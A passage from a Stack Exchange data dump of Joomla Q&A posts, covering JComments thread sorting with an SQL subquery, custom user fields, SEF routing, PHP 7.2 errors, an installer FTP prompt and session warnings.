threaddate&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and the third is the function that feeds the admin setting result to the top code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($config-&amp;gt;get('template_view') == 'tree') {&#xA;            switch($config-&amp;gt;getInt('comments_tree_order')) {&#xA;                case 2:&#xA;                    $result = 'threadDate DESC, c.date ASC';&#xA;                    break;&#xA;                case 1:&#xA;                    $result = 'c.parent, c.date DESC';&#xA;                    break;&#xA;                default:&#xA;                    $result = 'c.parent, c.date ASC';&#xA;                    break;&#xA;            }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Case 2 being the orderby the comments are currently set at. I've tried adding cases to the query, but can't seem to find the right wording or syntax to have it look at thread_id and if it matches parent = 0's id then get the most recent date of all of those matches as threaddate to put into the order. Or maybe someone sees a better way to do this extra check in one of the other areas? I've tried pretty much everything i can think of and haven't been able to work it in yet. Any help would be appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Database sample, database names have been changed and emails are all my testing account emails. &lt;a href=&quot;https://www.db-fiddle.com/f/4pqz9MFGGaQ1ucB3nmw1De/0&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.db-fiddle.com/f/4pqz9MFGGaQ1ucB3nmw1De/0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the whole query from components/com_jcomments/models/jcomments.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query = &quot;SELECT c.id, c.parent, c.object_id, c.object_group, c.userid, c.name, c.username, c.title, c.comment&quot;&#xA;        . &quot;\n, c.email, c.homepage, c.date, c.date as datetime, c.ip, c.published, c.deleted, c.checked_out, c.checked_out_time&quot;&#xA;        . &quot;\n, c.isgood, c.ispoor&quot;&#xA;        . ($votes ? &quot;\n, v.value as voted&quot; : &quot;\n, 1 as voted&quot;)&#xA;        . &quot;\n, case when c.parent = 0 then unix_timestamp(c.date) else 0 end as threaddate&quot;&#xA;        . ($objectinfo ? &quot;\n, jo.title AS object_title, jo.link AS object_link, jo.access AS object_access&quot; : &quot;, '' AS object_title, '' AS object_link, 0 AS object_access, 0 AS object_owner&quot;)&#xA;        . &quot;\nFROM #__jcomments AS c&quot;&#xA;        . ($votes ? &quot;\nLEFT JOIN #__jcomments_votes AS v ON c.id = v.commentid &quot; . ($acl-&amp;gt;getUserId() ? &quot; AND  v.userid = &quot; . $acl-&amp;gt;getUserId() : &quot; AND v.userid = 0 AND v.ip = '&quot; . $acl-&amp;gt;getUserIP() . &quot;'&quot;) : &quot;&quot;)&#xA;        . ($objectinfo ? &quot;\n LEFT JOIN #__jcomments_objects AS jo ON jo.object_id = c.object_id AND jo.object_group = c.object_group AND jo.lang=c.lang&quot; : &quot;&quot;)&#xA;        . (count($where) ? (&quot;\nWHERE &quot; . implode(' AND ', $where)) : &quot;&quot;)&#xA;        . &quot;\nORDER BY &quot; . $orderBy&#xA;        . (($limit &amp;gt; 0) ? &quot;\nLIMIT $limitStart, $limit&quot; : &quot;&quot;);&#xA;&#xA;    return $query;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13028" LastEditorUserId="13028" LastEditDate="2018-11-07T20:53:14.113" LastActivityDate="2018-11-08T03:33:44.757" Title="Getting reply to bump post in JComments, factoring in another query" Tags="|extensions|" AnswerCount="1" CommentCount="9" ContentLicense="CC BY-SA 4.0" />
  <row Id="23711" PostTypeId="1" CreationDate="2018-11-07T02:37:56.977" Score="0" ViewCount="45" Body="&lt;p&gt;I have custom field &quot;Client type&quot; in registration form, which I created in Users-&gt;Fields. Already I have next usergroups:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Registered&lt;/li&gt;&#xA;&lt;li&gt;Subgroup of Registered - Human&lt;/li&gt;&#xA;&lt;li&gt;Subgroup of Registered - Company&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I need to register user in certain group, depends of value in radiobuttons group from this field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think to expand this question (I coudn't found a lot of information about custom fields for users). How to create fields for only one group of users? &lt;/p&gt;&#xA;" OwnerUserId="8039" LastActivityDate="2018-11-07T18:04:40.017" Title="Group of fields for different group of users" Tags="|joomla-3.x|custom-field|registration|joomla-user-groups|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23714" PostTypeId="1" CreationDate="2018-11-07T14:37:10.167" Score="2" ViewCount="455" Body="&lt;p&gt;What do I understand in Joomla is that until you create a menu for a specific view  you will be getting component links to its views, in this manner:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;component/component_name/location/new-york (ex #1)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you create link for this view it should transform to menu alias + view + item name or id, like this: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;/locations/location/new-york (ex #2)&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I did this and I'm still getting an old link like in example #1.&#xA;Though if I add Itemid to the link I get expected result like in example #2, see below what I mean:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;JRoute::_('index.php?option=com_modern_tours&amp;amp;view=location&amp;amp;alias=' . $asset-&amp;gt;alias .'&amp;amp;Itemid=138');&lt;/code&gt; this transforms to this &lt;code&gt;/locations/location/new-york&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But this&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;JRoute::_('index.php?option=com_modern_tours&amp;amp;view=location&amp;amp;alias=' . $asset-&amp;gt;alias);&lt;/code&gt; this transforms to this &lt;code&gt;component/component_name/location/new-york&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Seems like in this case I have to create an additional function to search through the menu and add missing itemid. Though I'm unsure if this is really how it should work, or Joomla itself should take of this? Can someone explain this to me, please&lt;/p&gt;&#xA;" OwnerUserId="2328" LastEditorUserId="12260" LastEditDate="2018-11-08T09:03:37.250" LastActivityDate="2019-10-06T11:01:05.137" Title="Does JRoute by default finds path to menu link (SEF)" Tags="|url|sef|joomla3.8|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23717" PostTypeId="2" ParentId="23711" CreationDate="2018-11-07T18:04:40.017" Score="1" Body="&lt;p&gt;Before registration, any visitor will be a guest, so it does not make sense to create custom fields for different user groups in the registration form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if you want to assign the user group after registration based on the value of the radio button field, this can't be done without a 3rd party extension.&lt;/p&gt;&#xA;" OwnerUserId="8051" LastActivityDate="2018-11-07T18:04:40.017" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="23718" PostTypeId="1" CreationDate="2018-11-07T22:05:19.400" Score="0" ViewCount="1124" Body="&lt;p&gt;I have my website in production now, The site works very good with PHP 5.6 and 7.0 but When I try to change the PHP version to 7.2 the website doesn't work. It shows me an error message like this: &lt;a href=&quot;https://i.stack.imgur.com/MhvFn.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/MhvFn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using the Template BigEasy Version 1.0&#xA;and my Joomla version is 3.9.0&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you know guys what could it be the cause of this error?&#xA;This is the site -&gt; &lt;a href=&quot;https://www.wpz-schuepfheim.ch/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.wpz-schuepfheim.ch/&lt;/a&gt; you can check it and watch the error. &lt;/p&gt;&#xA;" OwnerUserId="13039" LastActivityDate="2019-06-12T16:02:05.663" Title="Problems When I change my PHP version to 7.2(Error 0 Using $this when not in object context )" Tags="|joomla-3.x|php|fatal-error|php7|hosting|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="23719" PostTypeId="2" ParentId="23710" CreationDate="2018-11-07T22:05:35.277" Score="2" Body="&lt;p&gt;*Note, that any hacking to the extensions files have the potential to be overwritten when an extension upgrade is performed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a pure mysql solution, you only need to write a subquery into the &lt;code&gt;$query&lt;/code&gt; @ &lt;strong&gt;components/com_jcomments/models/jcomments.php&lt;/strong&gt; inside of &lt;code&gt;function _getCommentsQuery()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The subquery will effectively assign a parent with the max (latest) date of itself and all of its children based on the &lt;code&gt;thread_id&lt;/code&gt; data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because the conditional outcome on this condition in the SELECT clause is binary, an &lt;code&gt;IF&lt;/code&gt; expression is better suited versus a verbose &lt;code&gt;CASE&lt;/code&gt; expression.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;. &quot;\n, IF(c.thread_id = 0, (SELECT MAX(date) FROM tsp_jcomments WHERE thread_id = c.id OR id = c.id), c.date) AS threaddate&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;UPDATE: After feedback from @Mythic, the desired order dictates that the &lt;code&gt;else&lt;/code&gt; value be &lt;code&gt;0&lt;/code&gt;, like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;\n, IF(c.parent = 0, (SELECT MAX(date) FROM tsp_jcomments WHERE thread_id = c.id OR id = c.id), 0) AS threaddate&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The logic says:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;if &lt;code&gt;thread_id&lt;/code&gt; is &lt;code&gt;0&lt;/code&gt; (meaning the row is a parent)&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;then find the latest date value from the same table (as a new set of data) so long as the new row's &lt;code&gt;thread_id&lt;/code&gt; value is the original row's &lt;code&gt;id&lt;/code&gt; value or if the new row's &lt;code&gt;id&lt;/code&gt; value is the original row's &lt;code&gt;id&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;otherwise, (meaning the row is not a parent)&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;use the row's &lt;code&gt;date&lt;/code&gt; column value.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Here is a demonstration of the solution on your sample data: &lt;a href=&quot;https://www.db-fiddle.com/f/4pqz9MFGGaQ1ucB3nmw1De/4&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.db-fiddle.com/f/4pqz9MFGGaQ1ucB3nmw1De/4&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a visual representation of how the assignment works:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;||    [logic]             threaddate      | id  | thread_id |       date                &#xA;|| ---------------- | ------------------- | --- | --------- | ------------------- &#xA;|| MAX() from 70 -&amp;gt; | 2018-10-18 18:21:58 | 1   | 0         | 2018-07-21 08:04:04 &#xA;|| self -&amp;gt;          | 2018-07-24 22:00:26 | 3   | 1         | 2018-07-24 22:00:26 &#xA;|| self -&amp;gt;          | 2018-07-24 22:07:59 | 4   | 1         | 2018-07-24 22:07:59 &#xA;|| self -&amp;gt;          | 2018-07-29 02:25:02 | 5   | 0         | 2018-07-29 02:25:02 &#xA;|| MAX() from 80 -&amp;gt; | 2018-10-20 15:42:41 | 9   | 0         | 2018-07-29 11:43:00 &#xA;|| self -&amp;gt;          | 2018-08-07 11:29:05 | 11  | 1         | 2018-08-07 11:29:05 &#xA;|| self -&amp;gt;          | 2018-08-19 01:59:46 | 13  | 0         | 2018-08-19 01:59:46 &#xA;|| self -&amp;gt;          | 2018-08-20 05:10:22 | 14  | 0         | 2018-08-20 05:10:22 &#xA;|| MAX() from 96 -&amp;gt; | 2018-10-28 23:05:59 | 15  | 0         | 2018-09-10 09:16:31 &#xA;|| self -&amp;gt;          | 2018-09-10 11:03:08 | 16  | 15        | 2018-09-10 11:03:08 &#xA;|| self -&amp;gt;          | 2018-09-10 13:01:59 | 17  | 1         | 2018-09-10 13:01:59 &#xA;|| self -&amp;gt;          | 2018-09-12 05:14:56 | 18  | 15        | 2018-09-12 05:14:56 &#xA;|| MAX() from 62 -&amp;gt; | 2018-10-10 20:19:25 | 19  | 0         | 2018-09-13 21:43:02 &#xA;|| self -&amp;gt;          | 2018-09-13 21:45:25 | 20  | 19        | 2018-09-13 21:45:25 &#xA;|| self -&amp;gt;          | 2018-09-13 21:50:27 | 21  | 19        | 2018-09-13 21:50:27 &#xA;|| self -&amp;gt;          | 2018-09-13 21:55:03 | 22  | 19        | 2018-09-13 21:55:03 &#xA;|| self -&amp;gt;          | 2018-09-13 22:32:04 | 23  | 1         | 2018-09-13 22:32:04 &#xA;|| self -&amp;gt;          | 2018-09-14 01:50:59 | 24  | 1         | 2018-09-14 01:50:59 &#xA;|| self -&amp;gt;          | 2018-09-14 01:51:53 | 25  | 1         | 2018-09-14 01:51:53 &#xA;|| self -&amp;gt;          | 2018-09-14 01:52:42 | 26  | 1         | 2018-09-14 01:52:42 &#xA;|| self -&amp;gt;          | 2018-09-14 01:54:22 | 27  | 1         | 2018-09-14 01:54:22 &#xA;|| self -&amp;gt;          | 2018-09-14 01:55:36 | 28  | 1         | 2018-09-14 01:55:36 &#xA;|| self -&amp;gt;          | 2018-09-14 01:57:33 | 29  | 1         | 2018-09-14 01:57:33 &#xA;|| self -&amp;gt;          | 2018-09-14 01:59:30 | 30  | 1         | 2018-09-14 01:59:30 &#xA;|| self -&amp;gt;          | 2018-09-16 22:50:29 | 31  | 1         | 2018-09-16 22:50:29 &#xA;|| self -&amp;gt;          | 2018-10-07 05:14:01 | 33  | 1         | 2018-10-07 05:14:01 &#xA;|| self -&amp;gt;          | 2018-10-07 11:31:46 | 34  | 0         | 2018-10-07 11:31:46 &#xA;|| self -&amp;gt;          | 2018-10-07 11:32:44 | 35  | 0         | 2018-10-07 11:32:44 &#xA;|| self -&amp;gt;          | 2018-10-07 11:33:17 | 36  | 0         | 2018-10-07 11:33:17 &#xA;|| self -&amp;gt;          | 2018-10-07 11:34:06 | 37  | 0         | 2018-10-07 11:34:06 &#xA;|| self -&amp;gt;          | 2018-10-07 11:34:41 | 38  | 0         | 2018-10-07 11:34:41 &#xA;|| self -&amp;gt;          | 2018-10-07 11:35:21 | 39  | 0         | 2018-10-07 11:35:21 &#xA;|| self -&amp;gt;          | 2018-10-07 11:35:59 | 40  | 0         | 2018-10-07 11:35:59 &#xA;|| self -&amp;gt;          | 2018-10-07 11:36:44 | 41  | 0         | 2018-10-07 11:36:44 &#xA;|| self -&amp;gt;          | 2018-10-09 11:24:22 | 42  | 0         | 2018-10-09 11:24:22 &#xA;|| self -&amp;gt;          | 2018-10-09 11:25:03 | 43  | 0         | 2018-10-09 11:25:03 &#xA;|| self -&amp;gt;          | 2018-10-09 11:25:41 | 44  | 0         | 2018-10-09 11:25:41 &#xA;|| self -&amp;gt;          | 2018-10-09 11:26:42 | 45  | 0         | 2018-10-09 11:26:42 &#xA;|| self -&amp;gt;          | 2018-10-09 11:27:29 | 46  | 0         | 2018-10-09 11:27:29 &#xA;|| self -&amp;gt;          | 2018-10-09 11:28:07 | 47  | 0         | 2018-10-09 11:28:07 &#xA;|| self -&amp;gt;          | 2018-10-09 11:28:58 | 48  | 0         | 2018-10-09 11:28:58 &#xA;|| self -&amp;gt;          | 2018-10-09 11:29:44 | 49  | 0         | 2018-10-09 11:29:44 &#xA;|| self -&amp;gt;          | 2018-10-09 11:32:02 | 50  | 0         | 2018-10-09 11:32:02 &#xA;|| self -&amp;gt;          | 2018-10-09 11:33:34 | 51  | 0         | 2018-10-09 11:33:34 &#xA;|| self -&amp;gt;          | 2018-10-09 11:34:10 | 52  | 0         | 2018-10-09 11:34:10 &#xA;|| self -&amp;gt;          | 2018-10-09 11:34:58 | 53  | 0         | 2018-10-09 11:34:58 &#xA;|| self -&amp;gt;          | 2018-10-09 11:35:57 | 54  | 0         | 2018-10-09 11:35:57 &#xA;|| self -&amp;gt;          | 2018-10-09 11:36:28 | 55  | 0         | 2018-10-09 11:36:28 &#xA;|| self -&amp;gt;          | 2018-10-09 11:37:30 | 56  | 0         | 2018-10-09 11:37:30 &#xA;|| self -&amp;gt;          | 2018-10-09 11:38:01 | 57  | 0         | 2018-10-09 11:38:01 &#xA;|| self -&amp;gt;          | 2018-10-09 11:38:43 | 58  | 0         | 2018-10-09 11:38:43 &#xA;|| self -&amp;gt;          | 2018-10-09 11:39:17 | 59  | 0         | 2018-10-09 11:39:17 &#xA;|| self -&amp;gt;          | 2018-10-10 19:23:52 | 60  | 19        | 2018-10-10 19:23:52 &#xA;|| self -&amp;gt;          | 2018-10-10 19:56:09 | 61  | 19        | 2018-10-10 19:56:09 &#xA;|| MAX() for 19 -&amp;gt;  | 2018-10-10 20:19:25 | 62  | 19        | 2018-10-10 20:19:25 &#xA;|| self -&amp;gt;          | 2018-10-13 21:53:45 | 63  | 0         | 2018-10-13 21:53:45 &#xA;|| self -&amp;gt;          | 2018-10-13 21:58:35 | 64  | 0         | 2018-10-13 21:58:35 &#xA;|| self -&amp;gt;          | 2018-10-13 22:16:41 | 65  | 0         | 2018-10-13 22:16:41 &#xA;|| self -&amp;gt;          | 2018-10-15 05:37:36 | 66  | 1         | 2018-10-15 05:37:36 &#xA;|| self -&amp;gt;          | 2018-10-15 06:51:10 | 67  | 1         | 2018-10-15 06:51:10 &#xA;|| self -&amp;gt;          | 2018-10-18 18:02:31 | 68  | 1         | 2018-10-18 18:02:31 &#xA;|| self -&amp;gt;          | 2018-10-18 18:03:26 | 69  | 1         | 2018-10-18 18:03:26 &#xA;|| MAX() for 1 -&amp;gt;   | 2018-10-18 18:21:58 | 70  | 1         | 2018-10-18 18:21:58 &#xA;|| self -&amp;gt;          | 2018-10-20 07:46:00 | 71  | 15        | 2018-10-20 07:46:00 &#xA;|| self -&amp;gt;          | 2018-10-20 08:16:58 | 72  | 15        | 2018-10-20 08:16:58 &#xA;|| self -&amp;gt;          | 2018-10-20 15:01:07 | 73  | 9         | 2018-10-20 15:01:07 &#xA;|| self -&amp;gt;          | 2018-10-20 15:04:49 | 74  | 9         | 2018-10-20 15:04:49 &#xA;|| self -&amp;gt;          | 2018-10-20 15:05:58 | 75  | 9         | 2018-10-20 15:05:58 &#xA;|| self -&amp;gt;          | 2018-10-20 15:40:11 | 76  | 9         | 2018-10-20 15:40:11 &#xA;|| self -&amp;gt;          | 2018-10-20 15:40:49 | 77  | 9         | 2018-10-20 15:40:49 &#xA;|| self -&amp;gt;          | 2018-10-20 15:41:22 | 78  | 9         | 2018-10-20 15:41:22 &#xA;|| self -&amp;gt;          | 2018-10-20 15:42:11 | 79  | 9         | 2018-10-20 15:42:11 &#xA;|| MAX() for 9 -&amp;gt;   | 2018-10-20 15:42:41 | 80  | 9         | 2018-10-20 15:42:41 &#xA;|| self -&amp;gt;          | 2018-10-21 01:37:22 | 81  | 15        | 2018-10-21 01:37:22 &#xA;|| self -&amp;gt;          | 2018-10-22 15:19:45 | 82  | 0         | 2018-10-22 15:19:45 &#xA;|| self -&amp;gt;          | 2018-10-23 21:30:41 | 83  | 0         | 2018-10-23 21:30:41 &#xA;|| self -&amp;gt;          | 2018-10-25 13:46:26 | 84  | 0         | 2018-10-25 13:46:26 &#xA;|| self -&amp;gt;          | 2018-10-25 13:47:13 | 85  | 0         | 2018-10-25 13:47:13 &#xA;|| self -&amp;gt;          | 2018-10-25 13:48:03 | 86  | 0         | 2018-10-25 13:48:03 &#xA;|| self -&amp;gt;          | 2018-10-25 13:48:37 | 87  | 0         | 2018-10-25 13:48:37 &#xA;|| self -&amp;gt;          | 2018-10-25 13:50:01 | 88  | 0         | 2018-10-25 13:50:01 &#xA;|| self -&amp;gt;          | 2018-10-25 13:50:31 | 89  | 0         | 2018-10-25 13:50:31 &#xA;|| self -&amp;gt;          | 2018-10-25 13:51:18 | 90  | 0         | 2018-10-25 13:51:18 &#xA;|| self -&amp;gt;          | 2018-10-25 13:51:50 | 91  | 0         | 2018-10-25 13:51:50 &#xA;|| self -&amp;gt;          | 2018-10-25 13:52:23 | 92  | 0         | 2018-10-25 13:52:23 &#xA;|| MAX() for 15 -&amp;gt;  | 2018-10-28 23:05:59 | 96  | 15        | 2018-10-28 23:05:59 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is just one way to solve the issue.  I am certain that there could be multiple ways to fix this issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;p.s. After taking a look under the hood, I don't like some of the coding practices/styling in the extension.  It doesn't use Joomla's query building methods, it uses the &lt;code&gt;@&lt;/code&gt; (&lt;a href=&quot;http://php.net/manual/en/language.operators.errorcontrol.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;error-control/stfu operator&lt;/a&gt;) which is mostly frowned upon, and the queries themselves could be written more eloquently.&lt;/p&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2018-11-08T03:33:44.757" LastActivityDate="2018-11-08T03:33:44.757" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="23720" PostTypeId="2" ParentId="23718" CreationDate="2018-11-08T11:59:55.637" Score="-1" Body="&lt;p&gt;Have you made sure that mbstring is enabled in the PHP extensions selector? When you change from an earlier version it doesn't remember your previous selections; you have to add them again. (Sorry, can't add a 'comment' as I don't have a 50+ reputation)&lt;/p&gt;&#xA;" OwnerUserId="13040" LastActivityDate="2018-11-08T11:59:55.637" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23721" PostTypeId="1" CreationDate="2018-11-08T12:39:00.183" Score="3" ViewCount="90" Body="&lt;p&gt;I am working &lt;code&gt;Joomla! 3.9&lt;/code&gt; website and wanted to check that all extensions etc were installed correctly. I used the Joomla &lt;code&gt;Extensions &amp;gt; Manage &amp;gt; Discover&lt;/code&gt; option. Nothing was found but above the message was a request for Login details saying&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;For installing or uninstalling Extensions, Joomla will most likely&#xA;  need your FTP account details. Please enter them in the form fields&#xA;  below&quot;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Why? Has the site been hacked? I've never needed to use FTP details for installing extensions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/OObQB.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/OObQB.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;p.s. Can someone with a 50 reputation add the tag &lt;code&gt;Joomla-3.9&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="13040" LastEditorUserId="12260" LastEditDate="2018-11-08T17:03:10.757" LastActivityDate="2018-11-09T18:29:39.267" Title="Joomla Discover is asking for FTP Login Details" Tags="|joomla-3.x|joomla-3.9|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="23722" PostTypeId="2" ParentId="23721" CreationDate="2018-11-08T20:11:25.143" Score="0" Body="&lt;p&gt;This is a &lt;strong&gt;core Joomla message&lt;/strong&gt; of the core Joomla installer component: &lt;strong&gt;com_installer&lt;/strong&gt;. I have not yet checked when and with which settings this message will appear, but you can find this message text in the ./administrator/languages/com_installer.ini file at line 114. So your site was not hacked. Installer can ask for FTP Login Details at particular settings. The &lt;strong&gt;com_installer&lt;/strong&gt; (in your case particularly), &lt;strong&gt;com_config&lt;/strong&gt;, and &lt;strong&gt;com_joomlaupdate&lt;/strong&gt; can ask these credentials (also third party &lt;strong&gt;akeeba&lt;/strong&gt; components).&lt;/p&gt;&#xA;" OwnerUserId="12524" LastEditorUserId="12524" LastEditDate="2018-11-09T14:23:38.127" LastActivityDate="2018-11-09T14:23:38.127" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23724" PostTypeId="1" CreationDate="2018-11-09T16:53:43.123" Score="1" ViewCount="575" Body="&lt;p&gt;I have these kind of errors:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Undefined property: stdClass::$items in *\plugins\system\helix3\fields\typography.php on line 30&lt;/p&gt;&#xA;&lt;p&gt;Invalid argument supplied for foreach() in *\plugins\system\helix3\fields\typography.php on line 129&lt;/p&gt;&#xA;&lt;p&gt;Trying to get property of non-object in *\plugins\system\helix3\fields\typography.php on line 75&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;and something like that more.&lt;/p&gt;&#xA;" OwnerUserId="13043" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2019-05-25T04:06:45.667" Title="Why in Helix 3 framework from template disappears webfonts list?" Tags="|joomla-3.x|helix3|fonts|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="23725" PostTypeId="2" ParentId="23721" CreationDate="2018-11-09T18:29:39.267" Score="2" Body="&lt;p&gt;Oops, I'd forgotten to disable FTP in Global Configuration. All sorted now.&lt;/p&gt;&#xA;" OwnerUserId="13040" LastActivityDate="2018-11-09T18:29:39.267" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23726" PostTypeId="1" CreationDate="2018-11-10T08:09:01.903" Score="0" ViewCount="2606" Body="&lt;p&gt;I have the following error shown on error log. But I am a Joomla novice. Could I get a simple step by step guide on how to solve my WSOD problem here?&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;[10-Nov-2018 07:48:20 UTC] PHP Warning:  session_write_close(): Failed to write session data (user).&lt;br&gt;Please verify that the current setting of session.save_path is correct (/var/cpanel/php/sessions/ea-php70) in /home/mydir/public_html/libraries/joomla/session/handler/native.php on line 194&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="13044" LastEditorUserId="12352" LastEditDate="2018-11-10T08:25:31.177" LastActivityDate="2024-03-16T03:11:36.377" Title="How to correct a sesssion_write_close() warning?" Tags="|joomla-3.x|session|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23727" PostTypeId="1" CreationDate="2018-11-10T11:52:45.470" Score="1" ViewCount="165" Body="&lt;p&gt;is there any plugin which is able to render any existing template into a AMP / accelerated mobile page?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use mostly gantry for theming and would like to enable AMP for all my managed pages.&lt;/p&gt;&#xA;" OwnerUserId="3956" LastEditorUserId="3956" LastEditDate="2018-11-10T20:58:54.787" LastActivityDate="2018-11-11T03:53:07.870" Title="How to enable AMP / accelerated mobile pages in joomla?" Tags="|joomla-3.x|gantry|amp|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23728" PostTypeId="1" AcceptedAnswerId="23730" CreationDate="2018-11-10T16:44:06.290" Score="1" ViewCount="877" Body="&lt;p&gt;I am using this code inside a module override that render articles, to show the custom fields:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    $id=$item-&amp;gt;id;&#xA;    $db = JFactory::getDbo();&#xA;    $query = 'select * from #__fields_values where item_id = &quot;'.$id.'&quot;';&#xA;    $db-&amp;gt;setQuery($query);&#xA;    $fields = $db-&amp;gt;loadObjectList();&#xA;&#xA;    foreach ($fields as $field) {&#xA;        if ($field-&amp;gt;field_id == 4) { // 4 - id of your custom field&#xA;        echo $field-&amp;gt;value;&#xA;        }&#xA;    }&#xA;    ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It works fine and renders the value of the field, but I want to display also the field label. &#xA;Any help?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;" OwnerUserId="2199" LastActivityDate="2018-11-11T22:29:12.320" Title="Custom Fields inside module override" Tags="|joomla-3.x|custom-field|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23729" PostTypeId="2" ParentId="23726" CreationDate="2018-11-10T18:56:50.023" Score="0" Body="&lt;p&gt;This warning is caused by a server misconfiguration. You should consult with your web host (open a support ticket) where your site is hosted. They can help you to solve this problem. This is not a Joomla error. (on the top of that, we do not know, which version of Joomla, version of PHP and so on... your host will know these)&lt;/p&gt;&#xA;" OwnerUserId="12524" LastActivityDate="2018-11-10T18:56:50.023" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
